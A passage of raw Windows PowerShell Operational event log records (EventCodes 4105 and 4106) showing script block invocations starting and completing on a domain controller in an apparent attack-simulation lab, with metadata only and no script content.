Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476946
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476944
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476943
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476942
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476940
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476938
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476935
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476933
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476932
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476931
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476929
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476928
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476925
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476924
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476923
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476922
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476920
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476919
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476917
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476916
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476913
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476911
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476910
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476909
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476908
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476906
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476905
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476904
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476902
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476900
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476899
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476897
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476896
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476895
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476894
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476892
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476891
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
